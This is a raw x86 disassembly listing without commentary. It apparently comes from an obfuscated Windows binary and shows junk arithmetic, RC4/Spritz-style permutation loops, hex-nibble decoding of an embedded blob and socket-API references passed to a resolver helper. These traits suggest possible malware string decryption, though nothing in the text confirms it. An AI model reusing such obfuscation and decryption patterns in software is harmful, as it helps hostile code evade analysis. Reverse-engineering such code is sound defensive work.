addsd xmm0, qword [ebp - 0x43b0]
movsd qword [ebp - 0x4d7c], xmm0
movsd xmm0, qword [ebp - 0x4794]
mulsd xmm0, qword [ebp - 0x4928]
movsd qword [ebp - 0x4794], xmm0
movsd xmm0, qword [ebp - 0x43b0]
subsd xmm0, qword [ebp - 0x4930]
movsd qword [ebp - 0x43b0], xmm0
movsd xmm0, qword [ebp - 0x43b0]
subsd xmm0, qword [ebp - 0x4930]
movsd qword [ebp - 0x43b0], xmm0
movzx eax, byte [ebp - 0x32a4]
movzx ecx, byte [ebp - 0x32d1]
mov dl, byte [ebp + eax - 0x5fb0]
mov byte [ebp + ecx - 0x5fb0], dl
jmp 0x430622
movsd xmm0, qword [ebp - 0x4794]
addsd xmm0, qword [ebp - 0x4930]
movsd qword [ebp - 0x4794], xmm0
movsd xmm0, qword [ebp - 0x4d7c]
addsd xmm0, qword [ebp - 0x4b6c]
movsd qword [ebp - 0x4d7c], xmm0
movsd xmm0, qword [ebp - 0x4930]
addsd xmm0, qword [ebp - 0x4928]
movsd qword [ebp - 0x4930], xmm0
movsd xmm0, qword [ebp - 0x4930]
mulsd xmm0, qword [ebp - 0x4928]
movsd qword [ebp - 0x4930], xmm0
movsd xmm0, qword [ebp - 0x4b6c]
divsd xmm0, qword [ebp - 0x43b0]
movsd qword [ebp - 0x4b6c], xmm0
movsd xmm0, qword [ebp - 0x43b0]
addsd xmm0, qword [ebp - 0x4794]
movsd qword [ebp - 0x43b0], xmm0
movzx eax, byte [ebp - 0x32a3]
movzx ecx, byte [ebp - 0x32a4]
mov dl, byte [ebp + eax - 0x5fb0]
mov byte [ebp + ecx - 0x5fb0], dl
movzx eax, byte [ebp - 0x3289]
movzx ecx, byte [ebp - 0x32a3]
mov dl, byte [ebp + eax - 0x5fb0]
mov byte [ebp + ecx - 0x5fb0], dl
movzx eax, byte [ebp - 0x3289]
mov cl, byte [ebp - 0x32f9]
mov byte [ebp + eax - 0x5fb0], cl
movzx edx, byte [ebp - 0x32f9]
movzx eax, byte [ebp + edx - 0x5fb0]
movzx ecx, byte [ebp - 0x32fa]
add ecx, eax
mov byte [ebp - 0x32fa], cl
movzx edx, byte [ebp - 0x32fb]
movzx eax, byte [ebp - 0x32a4]
movzx ecx, byte [ebp + eax - 0x5fb0]
movzx eax, byte [ebp - 0x3289]
movzx eax, byte [ebp + eax - 0x5fb0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5fb0]
xor edx, ecx
movzx eax, byte [ebp - 0x32a3]
movzx ecx, byte [ebp + eax - 0x5fb0]
movzx eax, byte [ebp - 0x32d1]
movzx eax, byte [ebp + eax - 0x5fb0]
add ecx, eax
movzx eax, byte [ebp - 0x32fa]
movzx eax, byte [ebp + eax - 0x5fb0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5fb0]
movzx eax, byte [ebp + ecx - 0x5fb0]
xor edx, eax
mov byte [ebp - 0x32a3], dl
mov cl, byte [ebp - 0x32fb]
mov byte [ebp - 0x32d1], cl
movss xmm0, dword [0xa673c0]
movss dword [ebp - 0x34dc], xmm0
movss xmm0, dword [0xa672b8]
movss dword [ebp - 0x34fc], xmm0
movss xmm0, dword [0xa671a4]
movss dword [ebp - 0x3410], xmm0
movss xmm0, dword [0xa67070]
movss dword [ebp - 0x3454], xmm0
movss xmm0, dword [ebp - 0x34dc]
addss xmm0, dword [ebp - 0x3454]
movss dword [ebp - 0x34dc], xmm0
movss xmm0, dword [ebp - 0x34dc]
subss xmm0, dword [ebp - 0x3454]
movss dword [ebp - 0x34dc], xmm0
movss xmm0, dword [ebp - 0x3410]
addss xmm0, dword [ebp - 0x3454]
movss dword [ebp - 0x3410], xmm0
movss xmm0, dword [ebp - 0x3410]
mulss xmm0, dword [ebp - 0x3454]
movss dword [ebp - 0x3410], xmm0
movss xmm0, dword [ebp - 0x3454]
comiss xmm0, dword [ebp - 0x3410]
jbe 0x430a9f
movss xmm0, dword [ebp - 0x34dc]
addss xmm0, dword [ebp - 0x3410]
movss dword [ebp - 0x34dc], xmm0
movss xmm0, dword [ebp - 0x34fc]
addss xmm0, dword [ebp - 0x3454]
movss dword [ebp - 0x34fc], xmm0
movss xmm0, dword [ebp - 0x3454]
mulss xmm0, dword [ebp - 0x34fc]
movss dword [ebp - 0x3454], xmm0
movss xmm0, dword [ebp - 0x34dc]
addss xmm0, dword [ebp - 0x3410]
movss dword [ebp - 0x34dc], xmm0
movss xmm0, dword [ebp - 0x34dc]
addss xmm0, dword [ebp - 0x34fc]
movss dword [ebp - 0x34dc], xmm0
movss xmm0, dword [ebp - 0x3410]
mulss xmm0, dword [ebp - 0x3454]
movss dword [ebp - 0x3410], xmm0
movss xmm0, dword [ebp - 0x34fc]
mulss xmm0, dword [ebp - 0x3410]
movss dword [ebp - 0x34fc], xmm0
movss xmm0, dword [ebp - 0x3454]
divss xmm0, dword [ebp - 0x34dc]
movss dword [ebp - 0x3454], xmm0
movss xmm0, dword [ebp - 0x34fc]
comiss xmm0, dword [ebp - 0x3454]
jbe 0x430a3d
movss xmm0, dword [ebp - 0x3454]
divss xmm0, dword [ebp - 0x34dc]
movss dword [ebp - 0x3454], xmm0
movss xmm0, dword [ebp - 0x34dc]
subss xmm0, dword [ebp - 0x34fc]
movss dword [ebp - 0x34dc], xmm0
movss xmm0, dword [ebp - 0x3410]
subss xmm0, dword [ebp - 0x3454]
movss dword [ebp - 0x3410], xmm0
movss xmm0, dword [ebp - 0x3454]
mulss xmm0, dword [ebp - 0x34dc]
movss dword [ebp - 0x3454], xmm0
movss xmm0, dword [ebp - 0x34fc]
subss xmm0, dword [ebp - 0x3410]
movss dword [ebp - 0x34fc], xmm0
movss xmm0, dword [ebp - 0x3410]
addss xmm0, dword [ebp - 0x3454]
movss dword [ebp - 0x3410], xmm0
movss xmm0, dword [ebp - 0x3410]
divss xmm0, dword [ebp - 0x3454]
movss dword [ebp - 0x3410], xmm0
movss xmm0, dword [ebp - 0x34fc]
addss xmm0, dword [ebp - 0x3410]
movss dword [ebp - 0x34fc], xmm0
movss xmm0, dword [ebp - 0x34dc]
comiss xmm0, dword [ebp - 0x3410]
jbe 0x4309db
movss xmm0, dword [ebp - 0x3454]
divss xmm0, dword [ebp - 0x34dc]
movss dword [ebp - 0x3454], xmm0
movss xmm0, dword [ebp - 0x3410]
divss xmm0, dword [ebp - 0x3454]
movss dword [ebp - 0x3410], xmm0
movss xmm0, dword [ebp - 0x3410]
subss xmm0, dword [ebp - 0x3454]
movss dword [ebp - 0x3410], xmm0
movss xmm0, dword [ebp - 0x34fc]
divss xmm0, dword [ebp - 0x3410]
movss dword [ebp - 0x34fc], xmm0
jmp 0x430a3b
movss xmm0, dword [ebp - 0x34fc]
subss xmm0, dword [ebp - 0x3454]
movss dword [ebp - 0x34fc], xmm0
movss xmm0, dword [ebp - 0x34dc]
mulss xmm0, dword [ebp - 0x3410]
movss dword [ebp - 0x34dc], xmm0
movss xmm0, dword [ebp - 0x3410]
addss xmm0, dword [ebp - 0x34dc]
movss dword [ebp - 0x3410], xmm0
movss xmm0, dword [ebp - 0x34fc]
divss xmm0, dword [ebp - 0x3454]
movss dword [ebp - 0x34fc], xmm0
jmp 0x430a9d
movss xmm0, dword [ebp - 0x34fc]
subss xmm0, dword [ebp - 0x3454]
movss dword [ebp - 0x34fc], xmm0
movss xmm0, dword [ebp - 0x3410]
mulss xmm0, dword [ebp - 0x34dc]
movss dword [ebp - 0x3410], xmm0
movss xmm0, dword [ebp - 0x34dc]
addss xmm0, dword [ebp - 0x3410]
movss dword [ebp - 0x34dc], xmm0
movss xmm0, dword [ebp - 0x34dc]
divss xmm0, dword [ebp - 0x3410]
movss dword [ebp - 0x34dc], xmm0
jmp 0x430b0b
movss xmm0, dword [ebp - 0x34fc]
mulss xmm0, dword [ebp - 0x3454]
movss dword [ebp - 0x34fc], xmm0
movss xmm0, dword [ebp - 0x3410]
mulss xmm0, dword [ebp - 0x34dc]
movss dword [ebp - 0x3410], xmm0
movss xmm0, dword [ebp - 0x3454]
subss xmm0, dword [ebp - 0x34fc]
movss dword [ebp - 0x3454], xmm0
movss xmm0, dword [ebp - 0x34fc]
subss xmm0, dword [ebp - 0x3454]
movss dword [ebp - 0x34fc], xmm0
mov dl, byte [ebp - 0x32a3]
mov byte [ebp - 0x3373], dl
cmp dword [ebp - 0x33b0], 0
jle 0x430b27
movsx ax, byte [ebp - 0x3373]
mov ecx, dword [ebp - 0x33b0]
mov word [ebp + ecx*2 - 0x2e], ax
mov edx, 2
imul eax, edx, 6
mov dword [ebp - 0x53f8], eax
cmp dword [ebp - 0x53f8], 0xe
jae 0x430b40
jmp 0x430b45
call fcn.009ea777
xor ecx, ecx
mov edx, dword [ebp - 0x53f8]
mov word [ebp + edx - 0x2c], cx
jmp 0x430ba5
mov dword [ebp - 0x4988], 0
jmp 0x430b6f
mov eax, dword [ebp - 0x4988]
add eax, 1
mov dword [ebp - 0x4988], eax
cmp dword [ebp - 0x4988], 7
jge 0x430ba5
mov ecx, dword [ebp - 0x4988]
shl ecx, 1
mov dword [ebp - 0x53f4], ecx
cmp dword [ebp - 0x53f4], 0xe
jae 0x430b91
jmp 0x430b96
call fcn.009ea777
xor edx, edx
mov eax, dword [ebp - 0x53f4]
mov word [ebp + eax - 0x2c], dx
jmp 0x430b60
push 1
mov ecx, dword [ebp - 0x474c]
push ecx
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x10c]
push ecx
push reloc.WS2_32.dll_accept
call fcn.00428c10
add esp, 0x18
movzx edx, byte [ebp + 0xc]
test edx, edx
je 0x430c1c
push 1
mov eax, dword [ebp - 0x474c]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x10c]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00428c10
add esp, 0x18
push 1
mov ecx, dword [ebp - 0x474c]
push ecx
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x10c]
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00428c10
add esp, 0x18
mov dword [ebp - 0x3180], 0
mov dword [ebp - 0x3184], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x479c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4600], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4600], xmm0
jmp 0x430c6b
movsd xmm0, qword [ebp - 0x4600]
addsd xmm0, qword [0xa66358]
movsd qword [ebp - 0x4600], xmm0
movsd xmm0, qword [0xa66960]
comisd xmm0, xmmword [ebp - 0x4600]
jbe 0x430d1c
movsd xmm0, qword [0xa66608]
mulsd xmm0, qword [ebp - 0x4600]
mulsd xmm0, qword [ebp - 0x4600]
movsd xmm1, qword [ebp - 0x4600]
mulsd xmm1, qword [ebp - 0x4600]
subsd xmm0, xmm1
movsd xmm1, qword [0xa66370]
mulsd xmm1, qword [ebp - 0x4600]
mulsd xmm1, qword [ebp - 0x4600]
addsd xmm1, qword [0xa66488]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x479c]
movsd qword [ebp - 0x479c], xmm0
movsd xmm0, qword [ebp - 0x479c]
comisd xmm0, xmmword [0xa665a8]
jbe 0x430d17
movsd xmm0, qword [0xa66330]
mulsd xmm0, qword [ebp - 0x4600]
movsd xmm1, qword [ebp - 0x479c]
subsd xmm1, xmm0
movsd qword [ebp - 0x479c], xmm1
jmp 0x430c53
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x479c]
jbe 0x430d93
cmp byte [edi], ch
sub byte [esi + 0x29], bl
pop edx
inc ecx
jno 0x430d82
aas
pop edi
pop edx
aas
daa
outsb dx, byte [esi]
xor eax, 0x29616e22
xor byte gs:[edi + 0x1a], ah
pop edx
adc ebx, dword [eax + 0x12]
adc eax, 0x10621c5e
pop esp
adc eax, 0x1d5b105c
adc al, 0x5f
sbb ah, byte [edi + 0xf]
arpl word [ecx], dx
pop esp
addps xmm2, xmmword [0x11601a5e]
pushal
adc ah, byte [esi + 0x17]
arpl word [eax + ebx*2], bx
sbb ah, byte [ecx + 0x14]
popal
sbb ah, byte [eax + 0x12]
bound edx, qword [esi]
bound ecx, qword [esi]
pop esp
sbb bl, byte [ebp + edx + 0x5e]
sbb byte [ebp + ebx + 0x65], bl
sbb byte [edx + 0x18], bl
arpl word [0x165a145c], dx
pop esp
adc al, 0x5a
push ss
pushal
sbb dword [ebp + 0x1a], esp
popal
adc bl, byte [edx + 0x11]
jmp 0x43359e
mov dword [ebp - 0x3180], 0x430d40
mov dword [ebp - 0x3184], 0x430d29
mov edx, dword [ebp - 0x3180]
mov dword [ebp - 0x3c28], edx
mov eax, dword [ebp - 0x3184]
mov dword [ebp - 0x67a0], eax
mov byte [ebp - 0x402a], 0x1b
mov dword [ebp - 0x3860], 0
jmp 0x430de1
mov ecx, dword [ebp - 0x3860]
add ecx, 1
mov dword [ebp - 0x3860], ecx
cmp dword [ebp - 0x3860], 0x100
jae 0x430e02
mov edx, dword [ebp - 0x3860]
mov al, byte [ebp - 0x3860]
mov byte [ebp + edx - 0x60b0], al
jmp 0x430dd2
mov dword [ebp - 0x4538], 0
mov byte [ebp - 0x336a], 0
mov dword [ebp - 0x3860], 0xff
jmp 0x430e2e
mov ecx, dword [ebp - 0x3860]
sub ecx, 1
mov dword [ebp - 0x3860], ecx
cmp dword [ebp - 0x3860], 0
jbe 0x43109e
mov dword [ebp - 0x4bdc], 0
mov dword [ebp - 0x498c], 1
mov edx, dword [ebp - 0x498c]
cmp edx, dword [ebp - 0x3860]
jae 0x430e6f
mov eax, dword [ebp - 0x498c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x498c], ecx
jmp 0x430e4f
mov edx, dword [ebp - 0x4538]
mov dword [ebp - 0x53f0], edx
cmp dword [ebp - 0x53f0], 3
ja case.default.0x430e8e
mov eax, dword [ebp - 0x53f0]
jmp dword [eax*4 + 0x46cdc4]
movzx ecx, byte [ebp - 0x336a]
movzx ebx, byte [ebp + ecx - 0x60b0]
movsd xmm0, qword [ebp - 0x479c]
call fcn.009eac50
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x336a], bl
jmp 0x430f77
movzx edx, byte [ebp - 0x336a]
movzx ebx, byte [ebp + edx - 0x60b0]
movsd xmm0, qword [ebp - 0x479c]
call fcn.009eac50
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x336a], bl
jmp 0x430f77
movzx eax, byte [ebp - 0x336a]
movzx ebx, byte [ebp + eax - 0x60b0]
movsd xmm0, qword [ebp - 0x479c]
call fcn.009eac50
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x336a], bl
jmp 0x430f77
movzx ecx, byte [ebp - 0x336a]
movzx ebx, byte [ebp + ecx - 0x60b0]
movsd xmm0, qword [ebp - 0x479c]
call fcn.009eac50
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x336a], bl
jmp 0x430f77
movzx edx, byte [ebp - 0x336a]
movzx eax, byte [ebp + edx - 0x60b0]
mov ecx, dword [ebp - 0x67a0]
add ecx, dword [ebp - 0x4538]
movzx edx, byte [ecx - 4]
add eax, edx
mov byte [ebp - 0x336a], al
mov eax, dword [ebp - 0x4538]
add eax, 1
mov dword [ebp - 0x4538], eax
movzx ecx, byte [ebp - 0x402a]
cmp dword [ebp - 0x4538], ecx
jb 0x430fb5
mov dword [ebp - 0x4538], 0
movzx edx, byte [ebp - 0x402a]
movzx eax, byte [ebp - 0x336a]
add eax, edx
mov byte [ebp - 0x336a], al
movzx ecx, byte [ebp - 0x336a]
and ecx, dword [ebp - 0x498c]
mov dword [ebp - 0x4288], ecx
mov edx, dword [ebp - 0x4bdc]
add edx, 1
mov dword [ebp - 0x4bdc], edx
cmp dword [ebp - 0x4bdc], 0xb
jbe 0x430ff4
mov eax, dword [ebp - 0x4288]
xor edx, edx
div dword [ebp - 0x3860]
mov dword [ebp - 0x4288], edx
mov eax, dword [ebp - 0x4288]
cmp eax, dword [ebp - 0x3860]
ja 0x430e6f
mov ecx, dword [ebp - 0x3860]
cmp ecx, dword [ebp - 0x4288]
je 0x431099
mov edx, dword [ebp - 0x4288]
movzx eax, byte [ebp + edx - 0x60b0]
mov ecx, dword [ebp - 0x3860]
movzx edx, byte [ebp + ecx - 0x60b0]
xor edx, eax
mov eax, dword [ebp - 0x3860]
mov byte [ebp + eax - 0x60b0], dl
mov ecx, dword [ebp - 0x3860]
movzx edx, byte [ebp + ecx - 0x60b0]
mov eax, dword [ebp - 0x4288]
movzx ecx, byte [ebp + eax - 0x60b0]
xor ecx, edx
mov edx, dword [ebp - 0x4288]
mov byte [ebp + edx - 0x60b0], cl
mov eax, dword [ebp - 0x4288]
movzx ecx, byte [ebp + eax - 0x60b0]
mov edx, dword [ebp - 0x3860]
movzx eax, byte [ebp + edx - 0x60b0]
xor eax, ecx
mov ecx, dword [ebp - 0x3860]
mov byte [ebp + ecx - 0x60b0], al
jmp 0x430e1f
mov edx, 1
shl edx, 0
mov al, byte [ebp + edx - 0x60b0]
mov byte [ebp - 0x328a], al
mov ecx, 1
imul edx, ecx, 3
mov al, byte [ebp + edx - 0x60b0]
mov byte [ebp - 0x32a2], al
mov ecx, 1
imul edx, ecx, 5
mov al, byte [ebp + edx - 0x60b0]
mov byte [ebp - 0x32fd], al
mov ecx, 1
imul edx, ecx, 7
mov al, byte [ebp + edx - 0x60b0]
mov byte [ebp - 0x32ad], al
movzx ecx, byte [ebp - 0x336a]
mov dl, byte [ebp + ecx - 0x60b0]
mov byte [ebp - 0x32d2], dl
mov dword [ebp - 0x53ec], 0x4e
cmp dword [ebp - 0x53ec], 2
jle 0x43354a
mov eax, dword [ebp - 0x53ec]
and eax, 1
jne 0x43354a
mov dword [ebp - 0x33b4], 0
mov dword [ebp - 0x36e0], 0
mov ecx, dword [ebp - 0x36e0]
add ecx, 1
mov dword [ebp - 0x36e0], ecx
mov dword [ebp - 0x3c24], 0
mov edx, dword [ebp - 0x33b4]
shl edx, 1
mov dword [ebp - 0x3c24], edx
mov dword [ebp - 0x3b1c], 0
mov eax, dword [ebp - 0x3c28]
add eax, dword [ebp - 0x3c24]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x3b1c]
mov dword [ebp - 0x3b1c], ecx
mov dword [ebp - 0x3b20], 0
mov edx, dword [ebp - 0x3b20]
add edx, 0x58
mov dword [ebp - 0x3b20], edx
mov dword [ebp - 0x3c2c], 0
mov eax, dword [ebp - 0x33b4]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3c2c], ecx
mov dword [ebp - 0x3b24], 0
mov edx, dword [ebp - 0x3c28]
add edx, dword [ebp - 0x3c2c]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3b24]
mov dword [ebp - 0x3b24], eax
mov dword [ebp - 0x3b28], 0
mov ecx, dword [ebp - 0x3b28]
add ecx, 0xe
mov dword [ebp - 0x3b28], ecx
mov dword [ebp - 0x3b2c], 0
mov edx, dword [ebp - 0x3b1c]
sub edx, dword [ebp - 0x3b20]
add edx, dword [ebp - 0x3b2c]
mov dword [ebp - 0x3b2c], edx
mov dword [ebp - 0x3b30], 0
mov eax, dword [ebp - 0x3b24]
sub eax, dword [ebp - 0x3b28]
add eax, dword [ebp - 0x3b30]
mov dword [ebp - 0x3b30], eax
mov dword [ebp - 0x3c30], 0
mov ecx, dword [ebp - 0x3b2c]
shl ecx, 4
mov dword [ebp - 0x3c30], ecx
mov dword [ebp - 0x3c34], 0
mov edx, dword [ebp - 0x3b30]
mov dword [ebp - 0x3c34], edx
mov dword [ebp - 0x3c38], 0
mov eax, dword [ebp - 0x3c30]
or eax, dword [ebp - 0x3c34]
mov dword [ebp - 0x3c38], eax
mov byte [ebp - 0x32fe], 0
mov cl, byte [ebp - 0x3c38]
mov byte [ebp - 0x32fe], cl
mov byte [ebp - 0x32fc], 0
movzx edx, byte [ebp - 0x32d2]
mov al, byte [ebp + edx - 0x60b0]
mov byte [ebp - 0x32fc], al
movzx ecx, byte [ebp - 0x328a]
movzx edx, byte [ebp + ecx - 0x60b0]
movzx eax, byte [ebp - 0x32a2]
add eax, edx
mov byte [ebp - 0x32a2], al
mov cl, byte [ebp - 0x328a]
add cl, 1
mov byte [ebp - 0x328a], cl
movzx edx, byte [ebp - 0x32a2]
movzx eax, byte [ebp - 0x32d2]
mov cl, byte [ebp + edx - 0x60b0]
mov byte [ebp + eax - 0x60b0], cl
movzx edx, byte [ebp - 0x32ad]
movzx eax, byte [ebp - 0x32a2]
mov cl, byte [ebp + edx - 0x60b0]
mov byte [ebp + eax - 0x60b0], cl
movzx edx, byte [ebp - 0x328a]
movzx eax, byte [ebp - 0x32ad]
mov cl, byte [ebp + edx - 0x60b0]
mov byte [ebp + eax - 0x60b0], cl
movzx edx, byte [ebp - 0x328a]
mov al, byte [ebp - 0x32fc]
mov byte [ebp + edx - 0x60b0], al
movzx ecx, byte [ebp - 0x32fc]
movzx edx, byte [ebp + ecx - 0x60b0]
movzx eax, byte [ebp - 0x32fd]
add eax, edx
mov byte [ebp - 0x32fd], al
movzx ecx, byte [ebp - 0x32fe]
movzx edx, byte [ebp - 0x32a2]
movzx eax, byte [ebp + edx - 0x60b0]
movzx edx, byte [ebp - 0x328a]
movzx edx, byte [ebp + edx - 0x60b0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x60b0]
xor ecx, eax
movzx edx, byte [ebp - 0x32ad]
movzx eax, byte [ebp + edx - 0x60b0]
movzx edx, byte [ebp - 0x32d2]
movzx edx, byte [ebp + edx - 0x60b0]
add eax, edx
movzx edx, byte [ebp - 0x32fd]
movzx edx, byte [ebp + edx - 0x60b0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x60b0]
movzx edx, byte [ebp + eax - 0x60b0]
xor ecx, edx
mov byte [ebp - 0x32ad], cl
mov al, byte [ebp - 0x32fe]
mov byte [ebp - 0x32d2], al
mov cl, byte [ebp - 0x32ad]
mov byte [ebp - 0x336e], cl
cmp dword [ebp - 0x33b4], 0
jle 0x431428
movsx dx, byte [ebp - 0x336e]
mov eax, dword [ebp - 0x33b4]
mov word [ebp + eax*2 - 0x266], dx
mov ecx, dword [ebp - 0x36e0]
add ecx, 0x11
mov dword [ebp - 0x36e0], ecx
mov edx, dword [ebp - 0x33b4]
add edx, 1
mov dword [ebp - 0x4be0], edx
jmp 0x431457
mov eax, dword [ebp - 0x4be0]
add eax, 1
mov dword [ebp - 0x4be0], eax
mov ecx, dword [ebp - 0x4be0]
cmp ecx, dword [ebp - 0x36e0]
jge 0x4316b9
mov edx, dword [ebp - 0x33b4]
add edx, 1
mov dword [ebp - 0x33b4], edx
mov eax, dword [ebp - 0x33b4]
shl eax, 1
mov dword [ebp - 0x3c24], eax
mov ecx, dword [ebp - 0x3c28]
add ecx, dword [ebp - 0x3c24]
movzx edx, byte [ecx]
mov dword [ebp - 0x3b1c], edx
mov dword [ebp - 0x3b20], 0x58
mov eax, dword [ebp - 0x33b4]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3c2c], ecx
mov edx, dword [ebp - 0x3c28]
add edx, dword [ebp - 0x3c2c]
movzx eax, byte [edx]
mov dword [ebp - 0x3b24], eax
mov dword [ebp - 0x3b28], 0xe
mov ecx, dword [ebp - 0x3b1c]
sub ecx, dword [ebp - 0x3b20]
mov dword [ebp - 0x3b2c], ecx
mov edx, dword [ebp - 0x3b24]
sub edx, dword [ebp - 0x3b28]
mov dword [ebp - 0x3b30], edx
mov eax, dword [ebp - 0x3b2c]
shl eax, 4
mov dword [ebp - 0x3c30], eax
mov ecx, dword [ebp - 0x3b30]
mov dword [ebp - 0x3c34], ecx
mov edx, dword [ebp - 0x3c30]
or edx, dword [ebp - 0x3c34]
mov dword [ebp - 0x3c38], edx
mov al, byte [ebp - 0x3c38]
mov byte [ebp - 0x32fe], al
movzx ecx, byte [ebp - 0x32d2]
mov dl, byte [ebp + ecx - 0x60b0]
mov byte [ebp - 0x32fc], dl
movzx eax, byte [ebp - 0x328a]
movzx ecx, byte [ebp + eax - 0x60b0]
movzx edx, byte [ebp - 0x32a2]
add edx, ecx
mov byte [ebp - 0x32a2], dl
mov al, byte [ebp - 0x328a]
add al, 1
mov byte [ebp - 0x328a], al
movzx ecx, byte [ebp - 0x32a2]
movzx edx, byte [ebp - 0x32d2]
mov al, byte [ebp + ecx - 0x60b0]
mov byte [ebp + edx - 0x60b0], al
movzx ecx, byte [ebp - 0x32ad]
movzx edx, byte [ebp - 0x32a2]
mov al, byte [ebp + ecx - 0x60b0]
mov byte [ebp + edx - 0x60b0], al
movzx ecx, byte [ebp - 0x328a]
movzx edx, byte [ebp - 0x32ad]
mov al, byte [ebp + ecx - 0x60b0]
mov byte [ebp + edx - 0x60b0], al
movzx ecx, byte [ebp - 0x328a]
mov dl, byte [ebp - 0x32fc]
mov byte [ebp + ecx - 0x60b0], dl
movzx eax, byte [ebp - 0x32fc]
movzx ecx, byte [ebp + eax - 0x60b0]
movzx edx, byte [ebp - 0x32fd]
add edx, ecx
mov byte [ebp - 0x32fd], dl
movzx eax, byte [ebp - 0x32fe]
movzx ecx, byte [ebp - 0x32a2]
movzx edx, byte [ebp + ecx - 0x60b0]
movzx ecx, byte [ebp - 0x328a]
movzx ecx, byte [ebp + ecx - 0x60b0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x60b0]
xor eax, edx
movzx ecx, byte [ebp - 0x32ad]
movzx edx, byte [ebp + ecx - 0x60b0]
movzx ecx, byte [ebp - 0x32d2]
movzx ecx, byte [ebp + ecx - 0x60b0]
add edx, ecx
movzx ecx, byte [ebp - 0x32fd]
movzx ecx, byte [ebp + ecx - 0x60b0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x60b0]
movzx ecx, byte [ebp + edx - 0x60b0]
xor eax, ecx
mov byte [ebp - 0x32ad], al
mov dl, byte [ebp - 0x32fe]
mov byte [ebp - 0x32d2], dl
mov al, byte [ebp - 0x32ad]
mov byte [ebp - 0x336e], al
cmp dword [ebp - 0x33b4], 0
jle 0x4316b4
movsx cx, byte [ebp - 0x336e]
mov edx, dword [ebp - 0x33b4]
mov word [ebp + edx*2 - 0x266], cx
jmp 0x431448
mov eax, dword [ebp - 0x36e0]
add eax, 1
mov dword [ebp - 0x36e0], eax
mov ecx, dword [ebp - 0x33b4]
add ecx, 1
mov dword [ebp - 0x33b4], ecx
mov edx, dword [ebp - 0x36e0]
add edx, 1
mov dword [ebp - 0x36e0], edx
mov eax, dword [ebp - 0x33b4]
shl eax, 1
mov dword [ebp - 0x3c24], eax
mov ecx, dword [ebp - 0x3c28]
add ecx, dword [ebp - 0x3c24]
movzx edx, byte [ecx]
mov dword [ebp - 0x3b1c], edx
mov dword [ebp - 0x3b20], 0x58
mov eax, dword [ebp - 0x33b4]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3c2c], ecx
mov edx, dword [ebp - 0x3c28]
add edx, dword [ebp - 0x3c2c]
movzx eax, byte [edx]
mov dword [ebp - 0x3b24], eax
mov dword [ebp - 0x3b28], 0xe
mov ecx, dword [ebp - 0x3b1c]
sub ecx, dword [ebp - 0x3b20]
mov dword [ebp - 0x3b2c], ecx
mov edx, dword [ebp - 0x3b24]
sub edx, dword [ebp - 0x3b28]
mov dword [ebp - 0x3b30], edx
mov eax, dword [ebp - 0x3b2c]
shl eax, 4
mov dword [ebp - 0x3c30], eax
mov ecx, dword [ebp - 0x3b30]
mov dword [ebp - 0x3c34], ecx
mov edx, dword [ebp - 0x3c30]
or edx, dword [ebp - 0x3c34]
mov dword [ebp - 0x3c38], edx
mov al, byte [ebp - 0x3c38]
mov byte [ebp - 0x32fe], al
movzx ecx, byte [ebp - 0x32d2]
mov dl, byte [ebp + ecx - 0x60b0]
mov byte [ebp - 0x32fc], dl
movzx eax, byte [ebp - 0x328a]
movzx ecx, byte [ebp + eax - 0x60b0]
movzx edx, byte [ebp - 0x32a2]
add edx, ecx
mov byte [ebp - 0x32a2], dl
mov al, byte [ebp - 0x328a]
add al, 1
mov byte [ebp - 0x328a], al
movzx ecx, byte [ebp - 0x32a2]
movzx edx, byte [ebp - 0x32d2]
mov al, byte [ebp + ecx - 0x60b0]
mov byte [ebp + edx - 0x60b0], al
movzx ecx, byte [ebp - 0x32ad]
movzx edx, byte [ebp - 0x32a2]
mov al, byte [ebp + ecx - 0x60b0]
mov byte [ebp + edx - 0x60b0], al
movzx ecx, byte [ebp - 0x328a]
movzx edx, byte [ebp - 0x32ad]
mov al, byte [ebp + ecx - 0x60b0]
mov byte [ebp + edx - 0x60b0], al
movzx ecx, byte [ebp - 0x328a]
mov dl, byte [ebp - 0x32fc]
mov byte [ebp + ecx - 0x60b0], dl
movzx eax, byte [ebp - 0x32fc]
movzx ecx, byte [ebp + eax - 0x60b0]
movzx edx, byte [ebp - 0x32fd]
add edx, ecx
mov byte [ebp - 0x32fd], dl
movzx eax, byte [ebp - 0x32fe]
movzx ecx, byte [ebp - 0x32a2]
movzx edx, byte [ebp + ecx - 0x60b0]
movzx ecx, byte [ebp - 0x328a]
movzx ecx, byte [ebp + ecx - 0x60b0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x60b0]
xor eax, edx
movzx ecx, byte [ebp - 0x32ad]
movzx edx, byte [ebp + ecx - 0x60b0]
movzx ecx, byte [ebp - 0x32d2]
movzx ecx, byte [ebp + ecx - 0x60b0]
add edx, ecx
movzx ecx, byte [ebp - 0x32fd]
